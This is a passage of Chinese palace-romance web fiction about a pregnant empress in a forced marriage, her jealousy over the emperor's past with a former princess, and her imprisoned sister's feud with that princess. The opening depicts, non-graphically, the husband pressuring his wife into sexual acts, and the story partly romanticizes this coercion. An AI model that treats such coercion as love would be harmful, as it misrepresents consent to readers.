可是于媜珠而言,不论他口中说出多么动听的山盟海誓,不论她曾经是否也隐隐被他打动过,内心动摇过,只要他对她“凶相毕露”,只要是在床榻上,她的心都会马上冷下来。
一旦触碰到他的欲望,她就会觉得男人嘴里没有一句真话,所有的承诺和示好都只是为了从她身上索取片刻欢愉而已。
如果他对她从来都没有情欲,只有呵护,如果他之前拆散她和张道恭、如果他强娶她为妻的这些年里,他一次也没有碰过她,他只是把她当做花瓶一样搁置在金殿楼阁里,把她当做一只金丝雀精细豢养,她都能相信他是真的爱她。
她都能相信他对她所做的一切只是想要保护她,只是不想她在外面和别的男人吃苦。
——不过,如果周奉疆现在知道媜珠在想些什么的话,他应该会被她气得当场大笑。
但媜珠在想的是,为什么他今晚不能抱一抱她呢?
如果在许下这样的诺言后,他只是亲一亲她,然后安静温和地抱着她一起睡下,也许她会在他怀里做个美梦,以为他真的对她尚存真心爱护。
但偏偏承诺是假的,欲望才是真的。
媜珠心中有些酸涩的委屈,然在眼下这个时候,没有半分容她可退之处,她还是只能任命地为他照做了。
这样的事情她并不陌生,她以前也不是没有给他做过。
身上来着月事不能侍寝,哪怕是不能侍寝,他也能在她身上寻到消遣释放之处,威逼利诱地教她去帮帮他。
第一次被他教导着亲手去给他做这种事时,是她刚新婚不到半个月,她婚后第一回来月事。
夜间在床榻上,他用不了她的身体,就转而强迫她学习这些,他还半是威胁半是强迫地哄骗她说,深爱丈夫的妻子都该学会这些事,如果她心中不愿意,那一定是她失忆后就忘记了自己的情郎,是她不爱他。
她居然不爱他,她居然是个不爱自己丈夫的妻子。
她本来不肯,但又羞于承受这样的指控,还是只能无奈认命,颤颤巍巍地直面他的丑陋与狰狞,满眼泪光地做完了第一次。
今夜他还更加亢奋,她纤细柔白的双手令他得到了极大的满足,可不知为何又始终无法收场,不上不下。
或许总还是少了某种感觉。
到后面媜珠实在累极,任性之下直接甩手不干了,愤愤不平地别过了脸去:
“你去找别的女人……我不伺候了!”
周奉疆好不容易将她稳住,哄了她几句,手指忍不住抚上了她的唇瓣:
“媜媜,你知道我也难受……”
媜珠猛地一下抄起手边的软枕朝他身上砸去:
“老畜生、你去死吧!”
比软枕更先落在他身上的,是她从黑暗中坠落的一滴泪珠。
……
后来他弄脏了她的肚皮,总算结束之后他披衣起身去拿来沾了热水的巾帕,亲手给她擦了擦软白的肚腹。
这半夜闹得椒房殿内守夜的嬷嬷们心都突突跳个不安宁,唯恐皇后娘娘的肚子会出半点闪失。
后头听见皇后时断时续哽咽了两三下的哭声,更是把佩芝她们的心都提到嗓子眼了。
好在后来殿内传要水时佩芝进去看了一眼,见媜珠的样子尚好,这才勉强安了些心。
媜珠这一觉睡到了第二日将近午膳时分才醒来,佩芝撩起床帐服侍她起身,又关切地问她身子可还好。
媜珠抿了抿唇,别过头去,显然对那男人半句也不想多提。
她双手和手腕上酸乏得没了一点力气,起身后穿衣、梳妆、挽发都由着宫人服侍,自己连半下都不肯伸手,以至于到中午用膳时还有些郁郁寡欢,连提箸也没什么精神。
皇帝听说后倒是特意抽空过来陪她用了午膳,亲自端着碗给她喂饭喂菜,又喂她喝了安胎药。
媜珠神容寡淡地任他服侍,还是提不起劲来。
虽则瞧上去是不大高兴的样子,然而佩芝又莫名觉得此刻他们之间有种难以言遇的平静和谐。
当真是要为人父母的夫妻了啊。
不过看着帝后二人这样子,佩芝心中一愣,恍然间也让她大彻大悟地琢磨过来了。
她心中也难忍忿忿。
既然都这样了,皇帝为什么还非要折腾媜珠为他去做,他自己不会吗?
知道皇后怀孕金贵,知道她们整日伺候皇后提心吊胆、唯恐龙胎出了什么事,这可是要被赵太后撵着杖毙的,为了他那一己私欲,折腾得她们这些宫人也整宿睡不好。
这一日下午时候,赵太后身边的福蓉嬷嬷也来椒房殿里看望皇后,皇后倒是有了点精神了。
她与左右宫人们说:“琅琊公主这些日子静居养病,太后心里也牵挂,我就和太后说,不妨请身边人出宫看看公主,看看公主可还好。想来福蓉姑姑也刚从宫外回来,我和她浅聊几句家里闲话,你们不必在这左右候着。”
名义上,琅琊公主周婈珠并不是因罪被皇帝软禁的。
虽然大部分人能猜到里头肯定还有些什么别的密辛,但对外,宫里的说法是琅琊公主在外流浪多年,积攒了一身的病症,也有些心病,需要静养,不见外客。
既是养病的名义,身为她的嫡母和皇嫂,太后与皇后当然可以时不时地派人去公主府里看看她,以示关怀之意。
佩芝心道这约摸也是她们周家的姐妹还有什么家长里短的掰扯闲话,也并未放在心上。
及至福蓉入殿内,见了媜珠,也先关切地问起媜珠的身子和胎象,听说皇帝昨夜留宿,她委婉地询问了媜珠几句。
媜珠无声冷笑了下:“我无事。”
福蓉这才道好,媜珠又立即问她:
“见到琅琊公主了吗?我劳烦你去问她的事,公主怎么说的?你们可是屏退左右后私下说的话?”
福蓉一一答她,那些看守侍奉琅琊公主的婢女们大概和佩芝她们想的差不多,以为不过是她们周家姐妹之间有些没理清的琐事,也就没寸步不离地守着周婈珠。
于是福蓉便悄声问她有关前楚那位长沙公主张玉令的事。
那么,当时的周婈珠是什么反应呢?
周婈珠近来的心情极差极差极差,差到她脸色上都泛着一层焦躁不安,唇角也有些起了皮。
幽禁关押和日日抄写佛经,不仅没有使这个生命力旺盛的女人静心思过,反而使她像困兽一般整日团团转,养出了她同样越发旺盛的肝火气。
听福蓉问起长沙公主,周婈珠先是愣了愣,而后狠狠地一拍桌子,姿态粗犷不羁,完全忘记了她往昔一直力求保持的高贵仪容,厉声骂道:
“张玉令?那贱婢?别跟我提那贱婢!再让我看见她,我撕了她的贱嘴!我呸!我只恨不能把她那两张贱嘴皮子从长安撕到洛阳去!我周婈珠说到做到!”
福蓉还想问她,她对长沙公主这脾气和怨恨是从哪来的,可她一时连插嘴说句话的功夫也没有。
周婈珠气得咬牙切齿,左一个“贱婢”右一个“该死”,左右开弓一般咒骂起来,比她读诵佛经还要顺心顺口,愣是让福蓉也呆住了。
“后来呢?然后二姐姐说了什么?”
媜珠问道。
“后来琅琊公主说,她和长沙公主的积怨是有由来的。”
当然,在周婈珠的视角讲述下,这肯定都是张玉令一个人的错。
第89章
张玉令是什么人?
她是张道恭的祖父穆宗皇帝最小的女儿,也是穆宗皇帝继后所生的嫡公主。
长沙公主两岁那年,她父亲穆宗便驾崩了。
她的生母,年轻的继后出身望族,彼时虽膝下并无亲子,但是她却很快拉拢了后来的代宗皇帝,在穆宗病重之际,储位久悬不定,继后为代宗皇帝颇多美言,吹了无数的枕头风。
代宗皇帝的即位,继后是出了大力气的。
因此,在代宗一朝,他的幼妹长沙公主颇有宠耀,圣眷优渥。
她是皇后所生的嫡公主,她有显赫的外祖一家,她还得到皇兄代宗的宠爱。
反正不是自己的亲女儿,代宗对这个小妹妹也没有什么闲心管教,就是给足了金银赏赐,由着她自己想怎样便怎样,而代宗皇帝亲生的皇子公主们,又要管长沙公主恭恭敬敬地叫一声“姑母”,把她当成长辈一样敬着,长沙公主的前半生可谓是要风得风,要雨得雨,无所不能。
直到后来,张道恭狠狠得罪了她。
是代宗皇帝的至宁十七年,北地奚族来犯,边疆有乱。
河间王张道恭向皇父上书,说与其重用武人平乱、滋长武人气焰,不如行和亲之策,将正值适婚妙龄的长沙公主嫁给奚族王子术里,不费一兵一卒便可消解战乱,实在是上计。
这话不知怎么传了出来,闹得整个洛阳人尽皆知,自然不可避免得罪了长沙公主,把心高气傲的长沙公主张玉令气得怒目切齿,恨意不绝。
再后来,当河间王张道恭回到洛阳,周婈珠也顶替了自己三妹妹的婚约嫁来洛阳成为河间王侧妃后,长沙公主与河间王府的矛盾便彻底爆发了。
张道恭是个男人,长沙公主虽则与他势不两立,但找麻烦也不容易当面找到他的头上去。
正巧,撞到长沙公主刀口上的,就是从北地远嫁而来的河间王侧妃,周婈珠。
治不了张道恭,她还治不了你周婈珠?
彼时刚从北地嫁来洛阳的周婈珠,在洛阳城里无亲无故,根基浅薄,处处谨小慎微,小心翼翼地结交宗亲女眷,唯恐哪里失仪就得罪了人,也是过了一段不容易的日子。
长沙公主遂率先释放出了敌意,开始频频对着初来乍到的周婈珠发难,让周婈珠一开始措手不及,好几次当众下不来台。
譬如说,身为长沙公主的“侄媳妇”,在河间王还没有成为皇帝时,河间王侧妃对皇室的姑母是要礼数周到地行礼问候的。
每当宫中大小宫宴,周婈珠必须入宫应付时,张玉令就对着周婈珠百般刁难,挖苦嘲讽,的确很是尖酸刻薄。
“我姑母俪阳公主当年可是宫中公主的典范,怎么却教出这样难登大雅之堂的孙女?瞧着不像是我姑母的孙女,呵,倒像是北地破落户人家的庶女!”
再后来,哪怕是河间王被封为太子,周婈珠做了太子良娣,当她第一次亲自主持中秋宫宴时,张玉令也毫不客气地当众拆了她的台。
“这鹅羹乃是发物!我皇兄最吃不得这些的,是哪个没良心的还把这些东西摆在宫宴上,是意欲弑君吗!”
周良娣赶紧上前解释:“姑母,姑母息怒,这鹅羹是给德妃娘娘准备的,德妃娘娘喜食鹅肉。陛下跟前,妾命人摆的就是陛下平素所用的药膳。”
张玉令当即横眉冷对:“荒唐!做事不力便应认错知改才是,竟然还把德妃娘娘拿出来为你挡罪,这是谁家教出来的规矩?就是你们北人的规矩?还是冀州侯府的规矩?”
一众皇亲国戚、王妃公主们面前,周良娣委委屈屈地捏着鼻子认下了她的教训,被她像奴婢一样当众训斥。
没过一会,张玉令又开始挑刺了:
“这桂花是谁摆的?这般小家子气的模样,是没见过世面的人家罢。”
“今年的歌舞怎么这样上不得台面?靡靡之音,还不如教坊司里出来的。”
“今年的螃蟹都没往年的肥,我说句玩笑话,兴许这螃蟹腿的几两肉也叫人克扣进自己的口袋了呢!”
这样的林林总总,在张玉令和周婈珠的交锋之中,简直不知重复了多少遍。
张玉令有她的理由去恨张道恭,而周婈珠又为何不能去厌恶张玉令呢?
在她怀揣着满心忐忑和期望来到人生地不熟的洛阳,在她战战兢兢地想要融入洛阳的皇室宗亲之中时,别人即便不喜欢她,也不至于给她使什么绊子,顶多是不搭理她也就算了。
唯独张玉令,唯独是张玉令,让周婈珠生平第一次尝到了什么是恶意,什么是无缘无故的恶意。
初来洛阳的一两个月时间里,她一边在河间王府内伤心于张道恭对她的冷淡,失望张道恭心心念念只惦记着她妹妹周媜珠;另一面,出了这个河间王府,她还要忍受张玉令不间断地对她步步紧逼的发难。
倘若不是她心气强些,换成一般没经过事的女孩儿,只怕早就郁郁寡欢、积成心病,一年半载地兴许就把自己给熬死了。
周婈珠如何能对张玉令有好脸色?
起先,连张道恭都有过一阵疑问,这长沙公主张玉令就算脾气不好、就算和他们河间王府过不去,那也不至于就这么死盯着周婈珠和她死磕下去吧?
这两个女人斗的几乎是疯魔了。
后来张道恭找到原因了。
那是因为,
——周婈珠骨子里也不是个好惹的主。
在冀州侯府近二十年来,周婈珠就算不是周鼎最宠爱者,可身为长女,底下的弟弟妹妹们对她也是恭恭敬敬,不敢有半分逾矩。
哪怕是嫡母所生的周媜珠,在她这个二姐姐面前也是客客气气的,姐妹们一处闲聊小坐时,什么糕点茶水,她不先张嘴吃一口,周媜珠那柔弱的蠢货绝不敢动手去取。
她何曾受过这样的委屈闲气!
于是乎,张玉令有一分不让着她,她就必须想方设法地回敬两分回去。
张玉令也是大为惊奇,呵,这洛阳城里从来只有我不给别人脸的,现在还有人敢对着我把脸子摆回来?
于是她又拿三分的架势回头再去羞辱周婈珠,周婈珠当然绝不相让,在这基础上不停加码报复回去。
本来张玉令对周婈珠或许还只是单纯地看不顺眼,想要泄气似的羞辱羞辱她,对她发发脾气也就算了。
见周婈珠这副不肯退让、严阵以待的桀骜架势,张玉令的怒火越发被挑了起来,真真把她当做了眼中钉肉中刺。
再到后来,两人几乎斗成了血海深仇的累世死敌一般,竟是奔着你死我活的架势去的。
代宗皇帝驾崩前,立河间王为太子,又忧虑太子尚未娶妻,日后中宫无主,到底不是什么好事。
因见太子良娣周氏出身世族,又乃俪阳公主之孙女,血统高贵,曾犹豫着令太子将周良娣扶正,封为太子妃,日后再当中宫国母,也能辅佐太子,为太子分忧解难。
得知此事,张玉令又眼巴巴地凑上去对代宗皇帝挑拨起来:
“皇兄,您说那周良娣的出身好,玉令不敢置喙。可若说此人有做太子妃的风范,那也实在贻笑大方了些。这言行举止,贤良淑德,风仪气度,我瞧连咱们洛阳城里七八品小官家中、那妾生的庶女还不如。
这种人哪能做太子妃呢?就算是只看那容色,给太子做个侍妾也是抬举她了。看在俪阳姑母的份上,您叫她做了太子良娣,那也实在足够的了。”
她洋洋洒洒地告了一堆周婈珠的黑状,代宗皇帝也迟疑了起来,说是再观望观望,看看周良娣到底有没有能做太子妃的资质。
这一观望下来……等到代宗都死了,周婈珠也还未当上太子妃。
不过,等到代宗一死,张道恭当了皇帝,周婈珠做了淑妃后,她们二人之间的战局一下就彻底翻盘了。
以前周婈珠是河间王侧妃,是太子良娣,张玉令是皇帝的幼妹,是她的“姑母”,哪怕二人年龄相仿,她也要恭恭敬敬地对长辈低头。
可当她做了淑妃后,哪怕张玉令还是什么长辈,在皇妃面前也要叩首行礼了。
这就是皇权的力量。
这下,就轮到周婈珠在张道恭面前大吹枕头风报复张玉令了。
周婈珠又是如何报复张玉令的呢?
她直接挑唆张道恭把张玉令嫁去和亲了。
这一次不是嫁给北地奚族王子,而是西域的龟昌。
那一年的龟昌老国王七十岁,日薄西山,老的只剩一口气了。
周婈珠一拍大腿心说这正好:
“若是个年轻国王,还便宜这贱婢了!我要的就是老货!老货就该配贱婢!”
张道恭本也看这个所谓的小姑母不顺眼,这下和他的淑妃是一拍即合,立刻下了旨意,把长沙公主不远万里嫁去了龟昌,说是要和龟昌国再结交好之意。
长沙公主远嫁前夕,得意洋洋的淑妃身着皇妃服制,满面笑容地找到她,挑衅地问她:
“这一次,你心爱的周郎还会再来救你吗?你去求他啊,求求你的周郎把龟昌国王也给杀了,让他保住你免于和亲之苦啊!”
或许真的是被幽禁太久了,周婈珠急需一场痛痛快快的倾诉,即便她知道眼前的福蓉是自己嫡母身边的心腹,当下她也管不了这些了。
她一定要倾诉,一定要把自己的心事全都吐露出来。
虽然她将一切和她交恶的罪责都怪在长沙公主的身上,但报复起长沙公主时,她也毫不掩饰自己的恶毒。
她靠在椅背上,向福蓉原原本本地重现了当时的景象,说到这句话时,她甚至依然感到十分痛快,还痛痛快快地大笑了起来。
也许这也是她人生里为数不多令她感到狠狠出了一口恶气的事。
但一直沉默而忠实地旁听她倾诉的福蓉,在此时终于发出了一个疑问:
——“您说的这位周郎……?这位长沙公主心爱的周郎,是谁?”
听到福蓉出声打断了她的埋怨和诉苦,沉浸在自己世界中的周婈珠愣了愣,而后扑哧一下对着福蓉也笑了出来。
“哈哈哈哈哈哈哈……”
她慢慢悠悠地靠回到了椅背上,漫不经心地用手指梳理了一番自己的长发,幽幽道:
“张玉令的周郎啊……”
“将军雪中行,夜逐胡百里。马后悬双头,上马立陌刀。”
她低声念过这首诗,
“这可巧是好事都撞上一块了,长沙公主的周郎,和我母后的女婿周郎正巧是一个人呢!哈哈哈哈哈哈!”
周婈珠一下笑弯了腰,再提到这个张玉令,不仅让她内心涌起得胜的快感,也叫她恍然发现她终于有了隐秘的可以嘲弄赵太后和周媜珠母女二人的笑话。
媜珠的小脸一下煞白,唇上的血色也退去大半。
当听到福蓉说到这里时,她不可置信地眸光呆愣起来:
“二姐姐说,长沙公主和陛下他……他们有过一段……?”
福蓉赶紧安抚她:“琅琊公主那种人,她一面之词而已,兴许未必可靠,娘娘正怀着身孕呢,万不可把这些闲话认真听入了耳,伤了龙胎多不值当,其实这事儿奴婢本来犹豫着都不想跟娘娘说的——”
“你说,你说下去,我二姐姐还说什么了!她还说什么了!”
媜珠打断了福蓉那毫无作用的安慰,继续追问她。
周婈珠后来和福蓉说什么了呢?
福蓉当然也不信她那话,皇帝那是她家太后的女婿,那是皇后的丈夫,皇帝就算再不是个东西,那也只能宠爱皇后一人,心也必须放在皇后一个人身上,怎么会和这个从未听说过的什么长沙公主牵扯上联系。
见福蓉不信,周婈珠越发起劲了,和她仔仔细细从头到尾掰扯起张玉令和周奉疆曾经的过往。
当年,长沙公主为了和张道恭斗气,为了羞辱张道恭的软弱无能,遂和自己的外祖家商议过,在洛阳城最有名的酒楼里包了两台戏班子,将那首“将军雪中行”编成乐曲,命伶人歌姬日夜传唱,一下叫周奉疆这个名字响彻洛阳,为天下所知。
后来,代宗皇帝召见周奉疆,对这位年轻的将军大为称赞,还抚着他的背说,有这样的功臣在北地立功,是北地百姓之福。
长沙公主大抵心生好奇,也想见一见这位立下了战功、斩杀了奚族王子,最终使自己免于和亲的年轻武人是个什么模样,便私下在洛阳酒楼中设宴,召见了他。
这一见面后真是金风玉露一相逢,正当妙龄的公主旋即为这样骁勇俊逸的男人倾倒,回去日思夜想不下,命人向他偷偷传话,说她愿嫁他,使他做驸马,令他来日的前程仕途青云直上。
根据周婈珠的说法,周奉疆当时是答应了的。
就算没有直接一口答应,反正他也没拒绝过。
他当时大抵对长沙公主的说法是,臣现在身份卑贱,尚无显赫官职在身,贸然迎娶公主,恐辱没了公主的贵重,愿公主待臣建功立业后,臣再至洛阳,亲自求娶。
是以,托付了真心的长沙公主便开始日思夜想静候嫁给情郎,带着情郎给她的信物,盼星星盼月亮盼着他主动开口和代宗皇帝求娶她。
盼到后来,哪怕周奉疆娶了“赵氏女”为妻,长沙公主都觉得那是他养母赵夫人做主的包办婚姻,她的情郎一定不是心甘情愿娶赵氏女的。
至于周婈珠又是怎么知道这些的?
当年她嫁来洛阳时,正是周奉疆杀了她那些兄弟们之后,等她到了洛阳,她便意图向代宗皇帝进言,求代宗皇帝令人诛杀逆贼周奉疆。
这事不知怎的叫张玉令知道了,把张玉令气个半死,在宫中私下堵住了她,指着她的鼻子和她痛骂起来,说明明是她周家的兄弟没有用,和周郎有什么关系,你周婈珠若敢进谗言攻讦我的周郎,我跟你至死方休,绝对和你没完!
周婈珠这下顿时上了心,悄悄地四处一番打听,也有些和张玉令交好的好事者和她私下说了三言两句,倒叫她把这事来龙去脉给理清楚了。
听得周婈珠这样信誓旦旦地说起,当时福蓉的脸也白了。
怪道皇后遣她来向周婈珠悄悄打听长沙公主,原来是皇后自己也发觉了什么,不然不至于无缘无故地提起来。
皇后怀疑,周婈珠作保,这事十有八九那都假不了了。
周婈珠于是开怀大笑:“男人都是这样的,有什么大惊小怪?哎,要是这前楚的江山塌不下来,我不信在荣华富贵面前,有男人愿意不娶长沙公主反而要去娶所谓什么赵氏女的,笑话。”
提起这桩尘封多年的旧事,她的内心有一股诡异的快慰,原来周媜珠的丈夫也不过如此啊。
她的前夫张道恭不爱她,周媜珠的丈夫也未必真心爱她,她们姐妹在这上头都是一样的。
不对,不对,也不一样。
她还有段充,至少段充对她是彻头彻尾忠心耿耿的,在这上头她又赢了周媜珠了。
这便是福蓉从琅琊公主那里得到的所有消息。
媜珠脸色有些虚弱的白,良久,她才将这些全都吞咽进肚子里,面上装出一副泰然自若的样子来:
“我知道了,今天出宫一趟也辛苦嬷嬷了,嬷嬷回去也好好歇歇吧。”
福蓉还想安慰她什么,媜珠不欲多听,懒懒地只说她没事,便叫她退下了。
夜里皇帝照旧留宿椒房殿,见媜珠的脸色还是有几分倦乏,以为是昨夜被累着了,至今还没缓过来,不由怜惜非常,心疼地抚了抚她的脸颊。
为哄媜珠高兴,他从袖中取出一物博她一笑,是一瓶装在精致琉璃瓷瓶中的香露。
媜珠轻轻嗅了嗅,是一股幽幽的玫瑰香气。
倪常善在一旁主动开口与皇后说道,
“陛下知道娘娘喜欢玫瑰的香气,不过制来的玫瑰香在香炉里点起来还是少了些意思,这是外藩之国献来的玫瑰香露,香气更真切些,说是制成这一小瓶就要熬去上万朵新鲜的玫瑰,价甚千金,就是他们龟昌的王后王妃们也轻易用不得的贵重之物呢。”
媜珠方才有些沉浸在这玫瑰香气里,忽一下回过了神来:
“你说这是哪里来的东西?”
“回娘娘,是龟昌国新王献给陛下和娘娘的贡品,随长沙公主返国一道带来献给娘娘的。”
媜珠抬头望向周奉疆,多亏了倪常善提了这一嘴,倒是让她有了正大光明的理由发问了:“长沙公主……是哪位公主?”
她是对着周奉疆问出的话。
而周奉疆则神情淡淡地给出了答复:
“前楚嫁去龟昌的公主,老国王死了,她既没留下什么子女,便吵着闹着要归国。新国王给朕写了信来,问朕要不要这前朝的公主,朕说,公主嫁是汉家女,生为汉家人,汉家嫁出去的女子要归故乡,哪怕改朝换代了,这天下还是她的故乡,没有不接她回来的道理,否则岂不是叫人笑话?”
媜珠的呼吸颤了一颤:“那长沙公主归国后呢?”
周奉疆道:“除去公主封号,送回她在扶风郡的外祖高家,叫她外祖家管她就是了。”
媜珠微笑:“如此,长沙公主归为寻常女子,又可以婚嫁自如了。”
周奉疆浑不在意地道了个“随她去”,再无他话。
这一夜,当媜珠在周奉疆怀中睡下时,她忽然绝望地发现自己或许是真的再也离不开这重重深宫金殿了。
她忽然在心底冒出一个从未有过的想法。
原来她是离不开他的。
她根本没有她表现出来的那般贞烈不屈,她其实在意他。
在意他的心,在意他的爱,在意他是如何对她、又是如何对待其他女人的。
从前她恨他,恨他是恨他什么呢?
恨他没有如她期待一般地爱她,她从前对他的恨,原来只是来自于她对他的索取没有得到满足,他没有按照她的要求来爱她。
按照她的要求,他要永远爱她,护着她,爱着她的母亲,家人,外祖家,还要爱着这生她养她的北地冀州,他还要无条件地纵容她的一切愿望,要支持她嫁给张道恭,支持她嫁去洛阳。
但这些条件,他没有全然做到,始终有那么一两条没有答应她。
所以她才恨他。
——这才是她恨他的根源。
现在她恨他什么呢?
恨他没有从一而终地只爱着她一个人。
她还是改不了那样不停地索取他的爱。
他的真心,宠溺,在意,关心,包括他的目光,他的一切都必须凝聚在她一个人身上,不能分给别人半分。
只要他有一点做不到,她就会恨他,她就会不满足。
原来她是个贪得无厌的女人。
她慢慢蜷缩起自己的身体,无力地捂住了自己的脸。
今天晚上,他和她提起长沙公主时,有那么一瞬间她觉得她的面容变得丑陋又扭曲。
她变成了她从前最无法理解的那种女人的样子。
善妒。
她好像真的要重复走她母亲的路子了。
母亲恨父亲,又离不开父亲,又在意父亲的宠爱,不准父亲宠爱除了她之外的任何人。
她曾经有些无法理解母亲,现在居然诡异地变得和她母亲一样。
一直以来,她是如何自诩自己的贤德的?
她说,她绝不是一个善妒的女子,如果她的丈夫还有别的女人,她不会计较,不会介怀,她完全能接纳她们。
可这一刻她发现她根本做不到。
周奉疆和张道恭不一样。
曾经和张道恭在一起时,她一直都知道张道恭不可能只有她一个人,她并不介意,甚至还曾经扭捏着和母亲悄悄求教过,她问母亲说,如果以后河间王娶了别的侧妃,她该和那些侧妃如何相处?
可现在面对周奉疆,她再无往日的心境了。
他不能有别的女人,她不能接受。
她可以继续指责他对她强取豪夺,她可以指责他们的婚姻并非出自她本意,她还可以不停地怨恨他在床榻上对她的罪行,但是他不能有别的女人。
她捂住自己的脸,像捂住一樽瓷器碎裂的缝隙,她不愿去面对那个真实的自己。
丑陋,善妒,斤斤计较,贪得无厌,蛮横无理。
她不是那个自视清高的周三娘子。
二姐姐的那句玩笑话又在此时从她脑海中钻了出来。
——假如前楚的江山倒不了,长沙公主和你周媜珠比起来,聪明的男人会选哪一个?谁会和自己的前程过不去?
第90章
会不会有一天,周奉疆也将变成她父亲周鼎的样子?
也许随着时日渐长,他不会厌恶她,也不会废弃她,她还是那个皇后,但他会有越来越多的女人,他还会和那些女人有许许多多的孩子。
而她也终将戴上她母亲昔日的面具,在怨恨和煎熬中日复一日、年复一年地辛苦地活下去。
不,绝对不可以,她不能接受这样的生活,她也不允许他变成这样。
她从来都不肯在心底承认,其实她一直都没有想过“离开”他,更没有想过舍弃他。
即便是当年,她眼睁睁地看着周奉疆把她亲兄长周奉鸣的头颅砍下来时,她心里想的是什么?
不是“我要和你决裂”“我后悔认识你”或者“我一定要杀了你”,而是“你为什么要这样做?”。
——你为什么要这样做,为什么要这样对我,这是她和他争吵时重复了多年的两个问题。
她只是希望他给出一个解释,希望他悔改,希望他们的关系回到正轨上,而不是想要彻底和他一刀两断。
如果真的想杀了他,真的想摆脱他,其实当年在冀州她有过无数次机会。
他对她根本不设防,在他纠缠她的那些日子里,她随便寻来一点砒霜混进酒水里都能要了他的命。
可她没有,她从未升起过半分这样的念头。
周婈珠当时叫人送给她的那条珍珠手钏,她为什么最终不肯用?
其实当时的她自己也隐隐约约能猜到的吧,二姐姐那么恨周奉疆,那珍珠手钏里的蛊虫未必真的是无毒的,她不肯用,就是不愿冒着这样的风险去伤害他。
她脑海中莫名冒出来一个幽幽的声音:
“周媜珠,扪心自问,在夔州驿站那晚,当你推开门看见你兄长在等着你的时候,有没有那么一瞬间,你心里还有过几分窃喜?”
“窃喜他放不下你,就像你小时候那样,不论你怎么折腾发脾气,他都永远在你身边陪着你。窃喜是他离不开你。”
媜珠满怀心事,又在昏暗中打量了一番身侧的男人,认命般地叹了口气。
她知道她到底想跟他要什么了。
她既需要他的宠爱,他的关心和呵护,也要他的尊重。
她想要像从前那个小妹妹一般被兄长无微不至地照顾着,保护着,柔弱不能经半分风雨;
又想要被兄长当做供台上的神女一般捧着,敬着,不能遭到他的半点冒犯。
除此之外,她还要他只能把这样的精力投射到她一个人身上。
不管是被他宠着还是被他敬着,他只能这样对她一个人,他只能有她。
也许姐妹有时天生注定是冤家,这一夜,这个在周媜珠看来不可能完成的愿望,对于她二姐姐周婈珠来说,实现得却是这样轻而易举。
周媜珠的梦想,不过是她唾手可得的一样玩意而已。
今日傍晚的长安城又下了一场暴雨。
夏日即将消尽,此时的雨水中也渐渐氤氲了几丝秋至的意蕴了。
暴雨和疾风吹落了无数梧桐叶,泛着一片片凄凉沧桑的黄,飘落进这方院落中。
傍晚时,周婈珠倚门而望,静静地打量着这座四四方方的庭院,心中又蓦然涌起无限悲意来。
她这一生中大半的时间都被困在这样四四方方的囚笼里,大半的时间也都是孤独的,无人相陪的。
在洛阳时她已品尝过这样的孤独和悲凉,没想到辗转再来到长安,这样的凄凉更甚。
她知道她眼下的处境。
这长安城里再没有一个人会站在她的身边了,她的妹妹们,弟弟们,她周家的宗亲们,所有人和她都隔着一条宽阔的河,他们站在两岸,而她的这一岸只有她一个人。
甚至在陪着张道恭颠沛流离的数年里,先前她从冀州带来的那些忠心耿耿的婢女们,嬷嬷们,包括她的乳母,也都死的死,散的散,现在的她四面楚歌,看似居于公主之位,却连一只蚂蚁也不如。
蚂蚁好歹还有个热热闹闹的巢穴,还有自己的同伴,还知道自己每日应该做什么。
而她呢?她什么也不是。
不过,也不完全是这样。
她又想起了段充了。
这是她眼下心中唯一的慰藉,她的人生变成了一座孤岛,唯有想起同在岛上的段充才能让她稍感安慰。
只有段充会永远听她的话,会永远站在她这一岸。
他有他的舟楫,他可以离开这座荒凉的孤岛,但是为了她,但是只要有她在,段充就不会走。
周婈珠突然开口询问一旁那个面无表情的婢女:“段充在哪里?段充被关在哪里?”
她知道周奉疆命人把段充也关进了这座琅琊公主府里,但自被幽禁以来,她从未主动开口询问过有关他的事。
听得琅琊公主开口问起,那婢女仍旧是恭恭敬敬却面无表情地答道:
“陛下命人将他一道居于此处,充作公主府内的奴仆,为公主洒扫庭除,砍柴烧火,守夜报更。”
周婈珠挑了挑眉:“怎么,我这公主府里无人了吗?怎么什么杂七杂八的差事都要他去做?”
婢女一丝不苟地答道:“如今琅琊公主府内满打满算也不过十余个侍奉公主的奴婢,人既少些,他做了这些苦事,就免得公主亲自伸手了。”
“公主眼下只有他这一个奴仆,奴婢等人是宫里的人,是奉宫中之命来此看管公主的。”
周婈珠大怒:“你!”
到了夜幕时分,这场雨依然没有半点减缓的意思,随着这雨水的浸淫,周遭竟还添了几分寒凉的意思,婢女们为周婈珠披上一件外袍,由着她坐在室内静听雨声。
这雨声使她感到越发的烦躁,皮肉肌肤上的那层燥意也愈发明显,雨水似是沁入她的衣裳里,成了她无数个夜晚在榻上辗转反侧、卧不安枕时冒出来的一层细汗。
雨越下越大,雨声愈嘈杂,她的世界就愈发宁静,仿佛这室内、这天地之间只剩下了她一个人的呼吸声。
她想起了她死去的生母,她生母并不是死在一个下雨的日子里,但是母亲下葬的那天下了大雨。
因为那场大雨,母亲的葬礼被草草了结,连父亲都没有过来再看一眼。
家中奴仆们冒雨跑来跑去,忙前忙后,面上也多添了些敢怒不敢言的焦躁和不满。
她瑟瑟发抖地守在母亲的棺椁旁,期盼着能多陪母亲一会,希望母亲不要那么快就被埋葬。
但除了她之外,所有人都等着早点把她母亲埋入土里,了结差事,他们就可以回去换身干净衣裳,好好歇一歇了。
这只是她一个人的母亲。
那一刻,她第一次感到了前所未有的孤独,她知道所有人的心都和她不一样,没有人会了解她。
她在这一岸,其他人的心事在那一岸。
周婈珠在室内坐到了深夜时分。
这个点,魏宫之内她的妹妹周媜珠正躺在龙床上抚着孕肚伤秋悲春,而她也郁郁寡欢,心气沉浮。
忽地,婈珠起了身,唤来了守夜的婢子:
“……我要见段充。”
说出这句话前,她酝酿了许久,她费了好大的力气才从嗓子里吐出这几个字。
那奴婢也愣了愣,揉了揉惺忪的睡眼,困惑地“啊”了一声。
“段充在哪里?我要见段充,去把段充叫过来。”
她眼神定定地望着那个婢女又重复了一遍。
这一刻婈珠甚至已经在心里想好了,如果这个婢女不准她见段充,她就把她妹妹周媜珠秘密和她打听长沙公主的事情吐出来,让这个婢女回宫去禀报给周奉疆,为她换来可以再见段充一面的机会。
妹妹么,反正是用来做买卖的。
周媜珠生来就该是她实现自己心愿的垫脚石。
然而令她不曾想到的是,这个婢女居然没有多说一句话,道了声“是”后便转身下去了。
一刻钟后,有个沉默的男人在她门外跪下,一如从前,恭恭敬敬地给她行了礼。
区别只在于以前他叫她淑妃,现在他叫她公主。
婈珠静默了良久,轻声吐出两个字:“进来。”
门外的男人动了。
